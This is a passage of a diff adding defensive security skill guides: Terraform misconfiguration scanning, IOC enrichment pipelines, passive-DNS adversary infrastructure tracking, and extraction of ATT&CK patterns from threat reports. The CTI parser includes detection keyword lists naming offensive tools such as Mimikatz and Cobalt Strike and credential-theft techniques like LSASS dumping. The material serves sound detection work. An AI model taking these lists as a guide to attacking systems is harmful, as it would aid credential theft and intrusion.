contains(statement.Action[_], "*") + msg := sprintf("IAM policy '%s' has overly permissive actions on wildcard resources", [name]) +} + +# policy/aws_no_public_ingress.rego +package terraform.aws.security_group + +deny[msg] { + resource := input.resource.aws_security_group_rule[name] + resource.type == "ingress" + resource.cidr_blocks[_] == "0.0.0.0/0" + resource.from_port <= 22 + resource.to_port >= 22 + msg := sprintf("Security group rule '%s' allows SSH from 0.0.0.0/0", [name]) +} +``` + +```bash +# Evaluate Terraform plan against OPA policies +terraform show -json tfplan | opa eval \ + --data ./policy/ \ + --input /dev/stdin \ + "data.terraform.aws" \ + --format pretty + +# Run Conftest for easier OPA policy testing +conftest test tfplan.json --policy ./policy/ --output json +``` + +### Step 5: Integrate Security Scanning into CI/CD Pipeline + +Add IaC security scanning as a mandatory CI/CD gate. + +```yaml +# GitHub Actions: Terraform security pipeline +name: Terraform Security Scan +on: + pull_request: + paths: ['terraform/**'] + +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Setup Terraform + uses: hashicorp/setup-terraform@v3 + + - name: Terraform Init & Plan + run: | + cd terraform/ + terraform init + terraform plan -out=tfplan + terraform show -json tfplan > tfplan.json + + - name: Checkov Scan + uses: bridgecrewio/checkov-action@master + with: + directory: terraform/ + framework: terraform + output_format: sarif + output_file_path: checkov.sarif + soft_fail: false + + - name: tfsec Scan + uses: aquasecurity/tfsec-action@v1.0.0 + with: + working_directory: terraform/ + soft_fail: false + + - name: Upload SARIF + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: checkov.sarif + + - name: OPA Policy Check + run: | + conftest test terraform/tfplan.json \ + --policy ./policy/ \ + --output json +``` + +### Step 6: Scan Terraform State for Deployed Misconfigurations + +Audit the current Terraform state to identify already-deployed security issues. + +```bash +# Export current state as JSON +terraform show -json > terraform-state.json + +# Scan the state with Checkov +checkov -f terraform-state.json --framework terraform_plan + +# Query state for specific security issues +terraform state list | while read resource; do + terraform state show "$resource" 2>/dev/null | grep -i "public\|0.0.0.0\|encrypt.*false\|password" +done + +# Find resources without required tags +terraform state list | grep aws_instance | while read resource; do + tags=$(terraform state show "$resource" | grep -A20 "tags") + if ! echo "$tags" | grep -q "Environment"; then + echo "MISSING TAG: $resource lacks 'Environment' tag" + fi +done +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Infrastructure as Code | Practice of managing cloud infrastructure through declarative configuration files (Terraform, CloudFormation) rather than manual console operations | +| Policy as Code | Expressing security and compliance policies as executable code (Rego, Python) that can be automatically evaluated against infrastructure definitions | +| Shift Left Security | Moving security checks earlier in the development lifecycle by scanning IaC before deployment rather than auditing after provisioning | +| Terraform Plan | Preview of changes Terraform will make, which can be exported as JSON for security scanning before applying changes | +| Checkov | Open-source static analysis tool for IaC supporting Terraform, CloudFormation, Kubernetes, and Docker with 1000+ built-in policies | +| OPA/Rego | Open Policy Agent and its policy language Rego for defining custom security rules that evaluate against structured data inputs | + +## Tools & Systems + +- **Checkov**: Comprehensive IaC scanner with 1000+ policies for Terraform, CloudFormation, Kubernetes, ARM, and Dockerfile +- **tfsec**: Terraform-specific static analysis tool with detailed remediation guidance and SARIF output +- **Terrascan**: Multi-IaC scanner supporting compliance frameworks (CIS, NIST, SOC 2) with policy-as-code +- **OPA/Conftest**: Custom policy engine for defining organization-specific security rules using Rego language +- **Bridgecrew**: Commercial platform built on Checkov providing drift detection and supply chain security + +## Common Scenarios + +### Scenario: Adding Security Gates to an Existing Terraform CI/CD Pipeline + +**Context**: A DevOps team deploys infrastructure via Terraform in GitHub Actions but has no security scanning. Recent audit findings show multiple S3 buckets without encryption and security groups allowing SSH from the internet. + +**Approach**: +1. Add Checkov as the first security gate in the GitHub Actions workflow +2. Run `checkov -d ./terraform/` to establish the current baseline of findings +3. Triage existing findings: fix CRITICAL issues, create tickets for HIGH, suppress accepted risks +4. Add tfsec as a secondary scanner for Terraform-specific checks +5. Write custom OPA policies for organization standards (required tags, naming conventions) +6. Configure the pipeline to block PRs with CRITICAL or HIGH findings +7. Generate SARIF reports for GitHub Security tab integration + +**Pitfalls**: Adding security scanning to an existing project will initially produce hundreds of findings. Implement gradually by starting with CRITICAL-only blocking, then expanding to HIGH. Use inline suppression comments (`#checkov:skip=CKV_AWS_18:Public bucket for static website`) for intentional exceptions with documented justification. + +## Output Format + +``` +Terraform Security Audit Report +================================== +Repository: acme-corp/infrastructure +Branch: main +Scan Date: 2026-02-23 +Tools: Checkov 3.x, tfsec 1.x, OPA custom policies + +SCAN RESULTS: + Checkov checks passed: 187 + Checkov checks failed: 34 + tfsec checks passed: 156 + tfsec checks failed: 28 + OPA custom policies: 12 passed, 3 failed + +CRITICAL FINDINGS: +[TF-001] S3 Bucket Without Encryption + File: modules/storage/main.tf:24 + Resource: aws_s3_bucket.data_lake + Check: CKV_AWS_19 + Fix: Add server_side_encryption_configuration block + +[TF-002] Security Group Allows SSH from 0.0.0.0/0 + File: modules/network/security.tf:45 + Resource: aws_security_group_rule.ssh_access + Check: CKV_AWS_24 + Fix: Restrict cidr_blocks to bastion subnet + +[TF-003] IAM Policy with Wildcard Actions + File: modules/iam/policies.tf:12 + Resource: aws_iam_policy.developer_policy + Check: CKV_AWS_1 + Fix: Scope actions to specific services required + +SUMMARY BY SEVERITY: + Critical: 6 findings + High: 14 findings + Medium: 28 findings + Low: 18 findings + Info: 12 findings +``` diff --git a/skills/automating-ioc-enrichment/SKILL.md b/skills/automating-ioc-enrichment/SKILL.md new file mode 100644 index 00000000..da2f0ec9 --- /dev/null +++ b/skills/automating-ioc-enrichment/SKILL.md @@ -0,0 +1,196 @@ +--- +name: automating-ioc-enrichment +description: > + Automates the enrichment of raw indicators of compromise with multi-source threat intelligence + context using SOAR platforms, Python pipelines, or TIP playbooks to reduce analyst triage time + and standardize enrichment outputs. Use when building automated enrichment workflows integrated + with SIEM alerts, email submission pipelines, or bulk IOC processing from threat feeds. Activates + for requests involving SOAR enrichment, Cortex XSOAR, Splunk SOAR, TheHive, Python enrichment + pipelines, or automated IOC processing. +domain: cybersecurity +subdomain: threat-intelligence +tags: [SOAR, enrichment, IOC, Cortex-XSOAR, Splunk-SOAR, VirusTotal, automation, CTI, NIST-CSF] +version: 1.0.0 +author: team-cybersecurity +license: MIT +--- +# Automating IOC Enrichment + +## When to Use + +Use this skill when: +- Building a SOAR playbook that automatically enriches SIEM alerts with threat intelligence context before routing to analysts +- Creating a Python pipeline for bulk IOC enrichment from phishing email submissions +- Reducing analyst mean time to triage (MTTT) by pre-populating alert context with VT, Shodan, and MISP data + +**Do not use** this skill for fully automated blocking decisions without human review — enrichment automation should inform decisions, not execute blocks autonomously for high-impact actions. + +## Prerequisites + +- SOAR platform (Cortex XSOAR, Splunk SOAR, Tines, or n8n) or Python 3.9+ environment +- API keys: VirusTotal, AbuseIPDB, Shodan, and at minimum one TIP (MISP or OpenCTI) +- SIEM integration endpoint for alert consumption +- Rate limit budgets documented per API (VT: 4/min free, 500/min enterprise) + +## Workflow + +### Step 1: Design Enrichment Pipeline Architecture + +Define the enrichment flow for each IOC type: +``` +SIEM Alert → Extract IOCs → Classify Type → Route to enrichment functions + IP Address → AbuseIPDB + Shodan + VirusTotal IP + MISP + Domain → VirusTotal Domain + PassiveTotal + Shodan + MISP + URL → URLScan.io + VirusTotal URL + Google Safe Browse + File Hash → VirusTotal Files + MalwareBazaar + MISP +→ Aggregate results → Calculate confidence score → Update alert → Notify analyst +``` + +### Step 2: Implement Python Enrichment Functions + +```python +import requests +import time +from dataclasses import dataclass, field +from typing import Optional + +RATE_LIMIT_DELAY = 0.25 # 4 requests/second for VT free tier + +@dataclass +class EnrichmentResult: + ioc_value: str + ioc_type: str + vt_malicious: int = 0 + vt_total: int = 0 + abuse_confidence: int = 0 + shodan_ports: list = field(default_factory=list) + misp_events: list = field(default_factory=list) + confidence_score: int = 0 + +def enrich_ip(ip: str, vt_key: str, abuse_key: str, shodan_key: str) -> EnrichmentResult: + result = EnrichmentResult(ip, "ip") + + # VirusTotal IP lookup + vt_resp = requests.get( + f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", + headers={"x-apikey": vt_key} + ) + if vt_resp.status_code == 200: + stats = vt_resp.json()["data"]["attributes"]["last_analysis_stats"] + result.vt_malicious = stats.get("malicious", 0) + result.vt_total = sum(stats.values()) + + time.sleep(RATE_LIMIT_DELAY) + + # AbuseIPDB + abuse_resp = requests.get( + "https://api.abuseipdb.com/api/v2/check", + headers={"Key": abuse_key, "Accept": "application/json"}, + params={"ipAddress": ip, "maxAgeInDays": 90} + ) + if abuse_resp.status_code == 200: + result.abuse_confidence = abuse_resp.json()["data"]["abuseConfidenceScore"] + + # Calculate composite confidence score + result.confidence_score = min( + (result.vt_malicious / max(result.vt_total, 1)) * 60 + + (result.abuse_confidence / 100) * 40, 100 + ) + + return result + +def enrich_hash(sha256: str, vt_key: str) -> EnrichmentResult: + result = EnrichmentResult(sha256, "sha256") + vt_resp = requests.get( + f"https://www.virustotal.com/api/v3/files/{sha256}", + headers={"x-apikey": vt_key} + ) + if vt_resp.status_code == 200: + stats = vt_resp.json()["data"]["attributes"]["last_analysis_stats"] + result.vt_malicious = stats.get("malicious", 0) + result.vt_total = sum(stats.values()) + result.confidence_score = int((result.vt_malicious / max(result.vt_total, 1)) * 100) + return result +``` + +### Step 3: Build SOAR Playbook (Cortex XSOAR) + +In Cortex XSOAR, create an enrichment playbook: +1. **Trigger**: Alert created in SIEM (via webhook or polling) +2. **Extract IOCs**: Use "Extract Indicators" task with regex patterns for IP, domain, URL, hash +3. **Parallel enrichment**: Fan-out to multiple enrichment tasks simultaneously +4. **VT Enrichment**: Call `!vt-file-scan` or `!vt-ip-scan` commands +5. **AbuseIPDB check**: Call `!abuseipdb-check-ip` command +6. **MISP Lookup**: Call `!misp-search` for cross-referencing +7. **Score aggregation**: Python transform task computing composite score +8. **Conditional routing**: If score ≥70 → High Priority queue; if 40–69 → Medium; <40 → Auto-close with note +9. **Alert enrichment**: Write enrichment results to alert context for analyst view + +### Step 4: Handle Rate Limiting and Failures + +```python +import time +from functools import wraps + +def rate_limited(max_per_second): + min_interval = 1.0 / max_per_second + def decorator(func): + last_called = [0.0] + @wraps(func) + def wrapper(*args, **kwargs): + elapsed = time.time() - last_called[0] + wait = min_interval - elapsed + if wait > 0: + time.sleep(wait) + result = func(*args, **kwargs) + last_called[0] = time.time() + return result + return wrapper + return decorator + +def retry_on_429(max_retries=3): + def decorator(func): + @wraps(func) + def wrapper(*args, **kwargs): + for attempt in range(max_retries): + response = func(*args, **kwargs) + if response.status_code == 429: + retry_after = int(response.headers.get("Retry-After", 60)) + time.sleep(retry_after) + else: + return response + return wrapper + return decorator +``` + +### Step 5: Metrics and Tuning + +Track pipeline performance weekly: +- **Enrichment latency**: Target <30 seconds from alert trigger to enriched output +- **API success rate**: Target >99% (identify rate limit or outage events) +- **True positive rate**: Track analyst overrides of automated confidence scores +- **Cost**: Track API call volume against budget (VT Enterprise: $X per 1M lookups) + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **SOAR** | Security Orchestration, Automation, and Response — platform for automating security workflows and integrating disparate tools | +| **Enrichment Playbook** | Automated workflow sequence that adds contextual intelligence to raw security events | +| **Rate Limiting** | API provider restrictions on request frequency (e.g., VT free: 4 requests/minute); pipelines must respect these limits | +| **Composite Confidence Score** | Single score aggregating signals from multiple enrichment sources using weighted formula | +| **Fan-out Pattern** | Parallel execution of multiple enrichment queries simultaneously to minimize total enrichment latency | + +## Tools & Systems + +- **Cortex XSOAR (Palo Alto)**: Enterprise SOAR with 700+ marketplace integrations including VT, MISP, Shodan, and AbuseIPDB +- **Splunk SOAR (Phantom)**: SOAR platform with Python-based playbooks; native Splunk SIEM integration +- **Tines**: No-code SOAR platform with webhook-driven automation; cost-effective for smaller teams +- **TheHive + Cortex**: Open-source IR/enrichment platform with observable enrichment via Cortex analyzers + +## Common Pitfalls + +- **Blocking on enrichment latency**: If enrichment takes >5 minutes, analysts start working unenriched alerts, defeating the purpose. Set timeout limits and provide partial results. +- **No caching**: Querying the same IOC 50 times generates unnecessary API costs. Cache enrichment results for 24 hours by default. +- **Ignoring API failures silently**: Failed enrichment calls should be logged and trigger fallback logic, not silently produce empty results that appear as clean IOCs. +- **Automating blocks on enrichment score alone**: Composite scores contain false positives; require human confirmation for blocking decisions against shared infrastructure. diff --git a/skills/building-adversary-infrastructure-tracking-system/SKILL.md b/skills/building-adversary-infrastructure-tracking-system/SKILL.md new file mode 100644 index 00000000..6a1c198e --- /dev/null +++ b/skills/building-adversary-infrastructure-tracking-system/SKILL.md @@ -0,0 +1,318 @@ +--- +name: building-adversary-infrastructure-tracking-system +description: Build an automated system to track adversary infrastructure using passive DNS, certificate transparency, WHOIS data, and IP enrichment to map and monitor threat actor command-and-control networks. +domain: cybersecurity +subdomain: threat-intelligence +tags: [infrastructure-tracking, passive-dns, c2, whois, threat-actor, pivoting, threat-intelligence, domain-analysis] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Adversary Infrastructure Tracking System + +## Overview + +Adversary infrastructure tracking uses passive DNS records, certificate transparency logs, WHOIS registration data, and IP enrichment to discover, map, and monitor threat actor command-and-control (C2) networks. Attackers frequently reuse hosting providers, registrars, SSL certificates, and naming patterns across campaigns, enabling analysts to pivot from known indicators to discover new infrastructure. This skill covers building an automated tracking system that identifies infrastructure relationships, detects newly registered domains matching adversary patterns, and maintains a continuously updated map of threat actor networks. + +## Prerequisites + +- Python 3.9+ with `requests`, `dnspython`, `python-whois`, `shodan`, `networkx` libraries +- API keys: SecurityTrails, PassiveTotal/RiskIQ, Shodan, VirusTotal +- Access to passive DNS data sources +- Understanding of DNS infrastructure, hosting, and domain registration +- Graph database (Neo4j) or NetworkX for relationship visualization + +## Key Concepts + +### Passive DNS + +Passive DNS captures historical DNS resolution data, recording which domains resolved to which IPs and when. Unlike active DNS queries, passive DNS preserves historical relationships even after records change, enabling analysts to track infrastructure changes, identify shared hosting patterns, and discover related domains that resolved to the same IP addresses over time. + +### Infrastructure Pivoting + +Pivoting identifies related infrastructure by following connections: IP pivot (find all domains on an IP), domain pivot (find all IPs a domain resolved to), WHOIS pivot (find domains with same registrant), certificate pivot (find hosts sharing SSL certificates), and NS/MX pivot (find domains using same name servers or mail servers). + +### Adversary Infrastructure Patterns + +Threat actors exhibit patterns: preferred registrars (Namecheap, REG.RU, Tucows), preferred hosting (bulletproof hosting providers, cloud services), domain generation algorithms (DGA), consistent naming patterns, and certificate reuse across campaigns. + +## Practical Steps + +### Step 1: Passive DNS Infrastructure Discovery + +```python +import requests +import json +from collections import defaultdict +from datetime import datetime + +class InfrastructureTracker: + def __init__(self, securitytrails_key=None, vt_key=None, shodan_key=None): + self.st_key = securitytrails_key + self.vt_key = vt_key + self.shodan_key = shodan_key + self.infrastructure_graph = defaultdict(lambda: {"nodes": set(), "edges": []}) + + def passive_dns_lookup(self, domain): + """Query passive DNS for domain resolution history.""" + headers = {"apikey": self.st_key} + url = f"https://api.securitytrails.com/v1/history/{domain}/dns/a" + resp = requests.get(url, headers=headers, timeout=30) + if resp.status_code == 200: + records = resp.json().get("records", []) + history = [] + for record in records: + for value in record.get("values", []): + history.append({ + "domain": domain, + "ip": value.get("ip", ""), + "first_seen": record.get("first_seen", ""), + "last_seen": record.get("last_seen", ""), + "type": record.get("type", "a"), + }) + print(f"[+] Passive DNS for {domain}: {len(history)} records") + return history + return [] + + def reverse_ip_lookup(self, ip_address): + """Find all domains hosted on an IP address.""" + headers = {"apikey": self.st_key} + url = f"https://api.securitytrails.com/v1/ips/nearby/{ip_address}" + resp = requests.get(url, headers=headers, timeout=30) + if resp.status_code == 200: + blocks = resp.json().get("blocks", []) + domains = [] + for block in blocks: + for site in block.get("sites", []): + domains.append(site) + print(f"[+] Reverse IP for {ip_address}: {len(domains)} domains") + return domains + return [] + + def whois_lookup(self, domain): + """Get WHOIS registration data for pivoting.""" + headers = {"apikey": self.st_key} + url = f"https://api.securitytrails.com/v1/domain/{domain}/whois" + resp = requests.get(url, headers=headers, timeout=30) + if resp.status_code == 200: + data = resp.json() + whois_data = { + "domain": domain, + "registrar": data.get("registrar", ""), + "registrant_org": data.get("registrant_org", ""), + "registrant_email": data.get("registrant_email", ""), + "name_servers": data.get("nameServers", []), + "created_date": data.get("createdDate", ""), + "updated_date": data.get("updatedDate", ""), + "expires_date": data.get("expiresDate", ""), + } + return whois_data + return {} + + def pivot_from_seed(self, seed_indicator, indicator_type="domain", depth=2): + """Recursively pivot from a seed indicator to discover infrastructure.""" + discovered = {"domains": set(), "ips": set(), "relationships": []} + + if indicator_type == "domain": + discovered["domains"].add(seed_indicator) + # Get IPs for domain + pdns = self.passive_dns_lookup(seed_indicator) + for record in pdns: + ip = record["ip"] + discovered["ips"].add(ip) + discovered["relationships"].append({ + "source": seed_indicator, "target": ip, + "type": "resolves_to", + "first_seen": record["first_seen"], + "last_seen": record["last_seen"], + }) + + if depth > 1: + # Reverse lookup on discovered IPs + reverse_domains = self.reverse_ip_lookup(ip) + for rd in reverse_domains[:20]: + discovered["domains"].add(rd) + discovered["relationships"].append({ + "source": rd, "target": ip, + "type": "hosted_on", + }) + + elif indicator_type == "ip": + discovered["ips"].add(seed_indicator) + domains = self.reverse_ip_lookup(seed_indicator) + for domain in domains[:20]: + discovered["domains"].add(domain) + discovered["relationships"].append({ + "source": domain, "target": seed_indicator, + "type": "hosted_on", + }) + + print(f"[+] Pivot from {seed_indicator}: " + f"{len(discovered['domains'])} domains, " + f"{len(discovered['ips'])} IPs, " + f"{len(discovered['relationships'])} relationships") + return discovered + +tracker = InfrastructureTracker( + securitytrails_key="YOUR_ST_KEY", + vt_key="YOUR_VT_KEY", +) +``` + +### Step 2: Build Infrastructure Graph + +```python +import networkx as nx + +class InfrastructureGraph: + def __init__(self): + self.graph = nx.Graph() + + def add_discovery(self, discovery_data): + """Add discovered infrastructure to graph.""" + for domain in discovery_data["domains"]: + self.graph.add_node(domain, type="domain") + for ip in discovery_data["ips"]: + self.graph.add_node(ip, type="ip") + for rel in discovery_data["relationships"]: + self.graph.add_edge( + rel["source"], rel["target"], + relationship=rel["type"], + first_seen=rel.get("first_seen", ""), + last_seen=rel.get("last_seen", ""), + ) + + def find_clusters(self): + """Identify infrastructure clusters.""" + components = list(nx.connected_components(self.graph)) + clusters = [] + for component in components: + domains = [n for n in component if self.graph.nodes[n].get("type") == "domain"] + ips = [n for n in component if self.graph.nodes[n].get("type") == "ip"] + clusters.append({ + "size": len(component), + "domains": sorted(domains), + "ips": sorted(ips), + "domain_count": len(domains), + "ip_count": len(ips), + }) + clusters.sort(key=lambda x: x["size"], reverse=True) + print(f"[+] Infrastructure clusters: {len(clusters)}") + return clusters + + def find_hub_nodes(self, top_n=10): + """Find high-centrality nodes (shared infrastructure).""" + centrality = nx.degree_centrality(self.graph) + top_nodes = sorted(centrality.items(), key=lambda x: x[1], reverse=True)[:top_n] + hubs = [] + for node, score in top_nodes: + hubs.append({ + "node": node, + "type": self.graph.nodes[node].get("type", "unknown"), + "centrality": round(score, 4), + "connections": self.graph.degree(node), + }) + return hubs + + def export_graph(self, output_file="infrastructure_graph.json"): + data = nx.node_link_data(self.graph) + with open(output_file, "w") as f: + json.dump(data, f, indent=2) + print(f"[+] Graph exported: {self.graph.number_of_nodes()} nodes, " + f"{self.graph.number_of_edges()} edges") + +infra_graph = InfrastructureGraph() +discovery = tracker.pivot_from_seed("evil-domain.com", depth=2) +infra_graph.add_discovery(discovery) +clusters = infra_graph.find_clusters() +hubs = infra_graph.find_hub_nodes() +infra_graph.export_graph() +``` + +### Step 3: Monitor for New Infrastructure + +```python +import time + +class InfrastructureMonitor: + def __init__(self, tracker, known_indicators): + self.tracker = tracker + self.known = set(known_indicators) + self.alerts = [] + + def check_new_registrations(self, patterns): + """Check for newly registered domains matching adversary patterns.""" + import re + new_domains = [] + for pattern in patterns: + # Query SecurityTrails for new domains matching pattern + headers = {"apikey": self.tracker.st_key} + url = "https://api.securitytrails.com/v1/domains/list" + params = {"include_ips": "true", "page": 1} + body = {"filter": {"keyword": pattern}} + resp = requests.post(url, headers=headers, json=body, timeout=30) + if resp.status_code == 200: + records = resp.json().get("records", []) + for record in records: + domain = record.get("hostname", "") + if domain not in self.known: + new_domains.append({ + "domain": domain, + "pattern_matched": pattern, + "first_seen": datetime.now().isoformat(), + }) + self.known.add(domain) + + if new_domains: + print(f"[ALERT] {len(new_domains)} new domains matching patterns") + self.alerts.extend(new_domains) + return new_domains + + def generate_infrastructure_report(self, clusters, hubs): + report = f"""# Adversary Infrastructure Tracking Report +Generated: {datetime.now().isoformat()} + +## Summary +- Infrastructure clusters identified: {len(clusters)} +- Total domains tracked: {sum(c['domain_count'] for c in clusters)} +- Total IPs tracked: {sum(c['ip_count'] for c in clusters)} +- New domains detected: {len(self.alerts)} + +## Top Infrastructure Hubs +| Node | Type | Connections | Centrality | +|------|------|-------------|------------| +""" + for hub in hubs[:10]: + report += (f"| {hub['node']} | {hub['type']} " + f"| {hub['connections']} | {hub['centrality']} |\n") + + report += "\n## Infrastructure Clusters\n" + for i, cluster in enumerate(clusters[:5], 1): + report += f"\n### Cluster {i} ({cluster['size']} nodes)\n" + report += f"- Domains: {', '.join(cluster['domains'][:5])}\n" + report += f"- IPs: {', '.join(cluster['ips'][:5])}\n" + + with open("infrastructure_report.md", "w") as f: + f.write(report) + print("[+] Infrastructure report saved") + +monitor = InfrastructureMonitor(tracker, known_indicators=set()) +``` + +## Validation Criteria + +- Passive DNS queries return historical resolution data +- Reverse IP lookups discover co-hosted domains +- Infrastructure pivoting expands from seed indicators +- Graph analysis identifies clusters and hub nodes +- New infrastructure detected through pattern monitoring +- Reports generated with actionable recommendations + +## References + +- [Juniper: Threat Hunting with Passive DNS](https://blogs.juniper.net/en-us/threat-research/threat-hunting-with-passive-dns-discovering-the-attacker-infrastructure) +- [Censys: Advanced Persistent Infrastructure Tracking](https://censys.com/blog/advanced-persistent-infrastructure-tracking) +- [Embee Research: Malware Infrastructure with DNS Pivoting](https://www.embeeresearch.io/infrastructure-analysis-with-dns-pivoting/) +- [Validin: Passive DNS Threat Hunting](https://www.validin.com/blog/announcing_validin_threat_hunting_platform/) +- [SecurityTrails API](https://securitytrails.com/corp/api) +- [Hunt.io: Uncovering Malicious Infrastructure](https://hunt.io/blog/practical-guide-unconvering-malicious-infrastructure) diff --git a/skills/building-attack-pattern-library-from-cti-reports/SKILL.md b/skills/building-attack-pattern-library-from-cti-reports/SKILL.md new file mode 100644 index 00000000..59925095 --- /dev/null +++ b/skills/building-attack-pattern-library-from-cti-reports/SKILL.md @@ -0,0 +1,294 @@ +--- +name: building-attack-pattern-library-from-cti-reports +description: Extract and catalog attack patterns from cyber threat intelligence reports into a structured STIX-based library mapped to MITRE ATT&CK for detection engineering and threat-informed defense. +domain: cybersecurity +subdomain: threat-intelligence +tags: [attack-pattern, cti-reports, mitre-attack, stix, detection-engineering, threat-intelligence, nlp, extraction] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Attack Pattern Library from CTI Reports + +## Overview + +Cyber threat intelligence (CTI) reports from vendors like Mandiant, CrowdStrike, Talos, and Microsoft contain detailed descriptions of adversary behaviors that can be extracted, normalized, and cataloged into a structured attack pattern library. This skill covers parsing CTI reports to extract adversary techniques, mapping behaviors to MITRE ATT&CK technique IDs, creating STIX 2.1 Attack Pattern objects, building a searchable library indexed by tactic, technique, and threat actor, and generating detection rule templates from documented patterns. + +## Prerequisites + +- Python 3.9+ with `stix2`, `mitreattack-python`, `spacy`, `requests` libraries +- Collection of CTI reports (PDF, HTML, or text format) +- MITRE ATT&CK STIX data (local or via TAXII) +- Understanding of ATT&CK technique structure and naming conventions +- Familiarity with detection engineering concepts (Sigma, YARA) + +## Key Concepts + +### Attack Pattern Extraction + +CTI reports describe adversary behaviors in natural language. Extraction involves identifying action verbs and technical terms that map to ATT&CK techniques, recognizing tool names and malware families, identifying infrastructure indicators, and mapping sequences of behaviors to attack chains (kill chain phases). + +### STIX 2.1 Attack Pattern Objects + +STIX defines Attack Pattern as a Structured Domain Object (SDO) that describes ways threat actors attempt to compromise targets. Each pattern links to ATT&CK via external references, includes kill chain phases (tactics), and can be related to Intrusion Sets, Malware, and Tool objects. + +### Detection Rule Generation + +Extracted attack patterns inform detection engineering by providing: specific procedure examples for Sigma rule creation, behavioral sequences for correlation rules, IOC patterns for YARA and Snort rules, and data source requirements for telemetry gaps. + +## Practical Steps + +### Step 1: Parse CTI Reports and Extract Behaviors + +```python +import re +import json +from collections import defaultdict + +class CTIReportParser: + """Parse CTI reports to extract adversary behaviors.""" + + BEHAVIOR_INDICATORS = [ + "used", "executed", "deployed", "leveraged", "exploited", + "established", "created", "modified", "downloaded", "uploaded", + "exfiltrated", "injected", "enumerated", "spawned", "dropped", + "persisted", "escalated", "moved laterally", "collected", + "encrypted", "compressed", "encoded", "obfuscated", + ] + + TOOL_PATTERNS = [ + r'\b(Cobalt Strike|Mimikatz|PsExec|BloodHound|Rubeus|Impacket)\b', + r'\b(PowerShell|cmd\.exe|WMI|WMIC|certutil|bitsadmin)\b', + r'\b(Metasploit|Empire|Covenant|Sliver|Brute Ratel)\b', + r'\b(Lazagne|SharpHound|ADFind|Sharphound|Invoke-Obfuscation)\b', + ] + + TECHNIQUE_KEYWORDS = { + "spearphishing": "T1566", + "phishing attachment": "T1566.001", + "phishing link": "T1566.002", + "powershell": "T1059.001", + "command line": "T1059.003", + "scheduled task": "T1053.005", + "registry run key": "T1547.001", + "process injection": "T1055", + "dll side-loading": "T1574.002", + "credential dumping": "T1003", + "lsass": "T1003.001", + "kerberoasting": "T1558.003", + "pass the hash": "T1550.002", + "remote desktop": "T1021.001", + "smb": "T1021.002", + "winrm": "T1021.006", + "data staging": "T1074", + "exfiltration over c2": "T1041", + "dns tunneling": "T1071.004", + "web shell": "T1505.003", + } + + def parse_report(self, text, report_metadata=None): + """Parse a CTI report and extract behaviors.""" + sentences = re.split(r'[.!?]\s+', text) + behaviors = [] + + for sentence in sentences: + sentence_lower = sentence.lower() + # Check for behavior indicators + for indicator in self.BEHAVIOR_INDICATORS: + if indicator in sentence_lower: + behavior = { + "sentence": sentence.strip(), + "action": indicator, + "tools": self._extract_tools(sentence), + "technique_hints": self._match_techniques(sentence_lower), + } + if behavior["technique_hints"]: + behaviors.append(behavior) + break + + print(f"[+] Extracted {len(behaviors)} behavioral indicators from report") + return behaviors + + def _extract_tools(self, text): + """Extract tool/malware names from text.""" + tools = set() + for pattern in self.TOOL_PATTERNS: + matches = re.findall(pattern, text, re.IGNORECASE) + tools.update(matches) + return list(tools) + + def _match_techniques(self, text): + """Match text to ATT&CK technique hints.""" + matches = [] + for keyword, tech_id in self.TECHNIQUE_KEYWORDS.items(): + if keyword in text: + matches.append({"keyword": keyword, "technique_id": tech_id}) + return matches + +parser = CTIReportParser() +sample_report = """ +The threat actor used spearphishing attachments with macro-enabled documents to +gain initial access. Once inside, they executed PowerShell scripts to download +additional tooling. The actor leveraged Mimikatz to dump credentials from LSASS +memory. They then used pass the hash techniques for lateral movement via SMB +to multiple systems. Data was staged in a compressed archive and exfiltrated +over the existing C2 channel. The actor established persistence through +scheduled tasks and registry run keys. +""" +behaviors = parser.parse_report(sample_report) +``` + +### Step 2: Map Behaviors to ATT&CK Techniques + +```python +from attackcti import attack_client + +class ATTACKMapper: + def __init__(self): + self.lift = attack_client() + self.techniques = {} + self._load_techniques() + + def _load_techniques(self): + """Load all ATT&CK techniques for mapping.""" + all_techs = self.lift.get_enterprise_techniques() + for tech in all_techs: + tech_id = "" + for ref in tech.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + tech_id = ref.get("external_id", "") + break + if tech_id: + self.techniques[tech_id] = { + "name": tech.get("name", ""), + "description": tech.get("description", "")[:500], + "tactics": [p.get("phase_name") for p in tech.get("kill_chain_phases", [])], + "platforms": tech.get("x_mitre_platforms", []), + "data_sources": tech.get("x_mitre_data_sources", []), + } + print(f"[+] Loaded {len(self.techniques)} ATT&CK techniques") + + def map_behaviors(self, behaviors): + """Map extracted behaviors to ATT&CK techniques.""" + mapped = [] + for behavior in behaviors: + for hint in behavior.get("technique_hints", []): + tech_id = hint["technique_id"] + if tech_id in self.techniques: + tech_info = self.techniques[tech_id] + mapped.append({ + "technique_id": tech_id, + "technique_name": tech_info["name"], + "tactics": tech_info["tactics"], + "source_sentence": behavior["sentence"], + "tools_observed": behavior["tools"], + "keyword_matched": hint["keyword"], + "data_sources": tech_info["data_sources"], + }) + print(f"[+] Mapped {len(mapped)} behaviors to ATT&CK techniques") + return mapped + +mapper = ATTACKMapper() +mapped_behaviors = mapper.map_behaviors(behaviors) +``` + +### Step 3: Create STIX 2.1 Attack Pattern Library + +```python +from stix2 import AttackPattern, Relationship, Bundle, TLP_GREEN +from datetime import datetime + +class AttackPatternLibrary: + def __init__(self): + self.patterns = [] + self.relationships = [] + + def add_pattern_from_mapping(self, mapping, report_source="CTI Report"): + """Create STIX Attack Pattern from mapped behavior.""" + pattern = AttackPattern( + name=mapping["technique_name"], + description=f"Observed: {mapping['source_sentence']}\n\n" + f"Tools: {', '.join(mapping['tools_observed']) or 'None identified'}\n" + f"Source: {report_source}", + external_references=[{ + "source_name": "mitre-attack", + "external_id": mapping["technique_id"], + "url": f"https://attack.mitre.org/techniques/{mapping['technique_id'].replace('.', '/')}/", + }], + kill_chain_phases=[{ + "kill_chain_name": "mitre-attack", + "phase_name": tactic, + } for tactic in mapping["tactics"]], + object_marking_refs=[TLP_GREEN], + ) + self.patterns.append(pattern) + return pattern + + def build_library(self, mapped_behaviors, report_source="CTI Report"): + """Build complete attack pattern library from mappings.""" + seen_techniques = set() + for mapping in 